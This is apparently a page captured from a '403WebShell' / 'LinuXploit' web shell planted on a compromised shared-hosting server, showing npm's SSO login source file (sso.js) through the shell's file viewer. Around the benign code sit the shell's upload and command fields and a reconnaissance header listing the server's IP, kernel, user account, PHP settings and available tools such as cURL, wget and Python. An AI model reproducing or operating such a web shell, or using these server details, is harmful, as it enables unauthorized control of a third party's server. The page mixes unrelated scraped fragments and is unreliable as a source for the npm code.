Failed to save the file to the "xx" directory.

Failed to save the file to the "ll" directory.

Failed to save the file to the "mm" directory.

Failed to save the file to the "wp" directory.

403WebShell
403Webshell
Server IP : 66.29.132.124  /  Your IP : 3.144.255.198
Web Server : LiteSpeed
System : Linux business141.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : wavevlvu ( 1524)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/lib/node_modules/npm/lib/auth/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/node_modules/npm/lib/auth/sso.js
'use strict'

const BB = require('bluebird')

const figgyPudding = require('figgy-pudding')
const log = require('npmlog')
const npmConfig = require('../config/figgy-config.js')
const npmFetch = require('npm-registry-fetch')
const output = require('../utils/output.js')
const openUrl = BB.promisify(require('../utils/open-url.js'))
const otplease = require('../utils/otplease.js')
const profile = require('libnpm/profile')

const SsoOpts = figgyPudding({
  ssoType: 'sso-type',
  'sso-type': {},
  ssoPollFrequency: 'sso-poll-frequency',
  'sso-poll-frequency': {}
})

module.exports.login = function login (creds, registry, scope, cb) {
  const opts = SsoOpts(npmConfig()).concat({creds, registry, scope})
  const ssoType = opts.ssoType
  if (!ssoType) { return cb(new Error('Missing option: sso-type')) }

  // We're reusing the legacy login endpoint, so we need some dummy
  // stuff here to pass validation. They're never used.
  const auth = {
    username: 'npm_' + ssoType + '_auth_dummy_user',
    password: 'placeholder',
    email: 'support@npmjs.com',
    authType: ssoType
  }

  otplease(opts,
    opts => profile.loginCouch(auth.username, auth.password, opts)
  ).then(({token, sso}) => {
    if (!token) { throw new Error('no SSO token returned') }
    if (!sso) { throw new Error('no SSO URL returned by services') }
    return openUrl(sso, 'to complete your login please visit').then(() => {
      return pollForSession(registry, token, opts)
    }).then(username => {
      log.info('adduser', 'Authorized user %s', username)
      var scopeMessage = scope ? ' to scope ' + scope : ''
      output('Logged in as %s%s on %s.', username, scopeMessage, registry)
      return {token}
    })
  }).nodeify(cb)
}

function pollForSession (registry, token, opts) {
  log.info('adduser', 'Polling for validated SSO session')
  return npmFetch.json(
    '/-/whoami', opts.concat({registry, forceAuth: {token}})
  ).then(
    ({username}) => username,
    err => {
      if (err.code === 'E401') {
        return sleep(opts['sso-poll-frequency']).then(() => {
          return pollForSession(registry, token, opts)
        })
      } else {
        throw err
      }
    }
  )
}

function sleep (time) {
  return new BB((resolve) => {
    setTimeout(resolve, time)
  })
}

Youez - 2016 - github.com/yon3zu
LinuXploit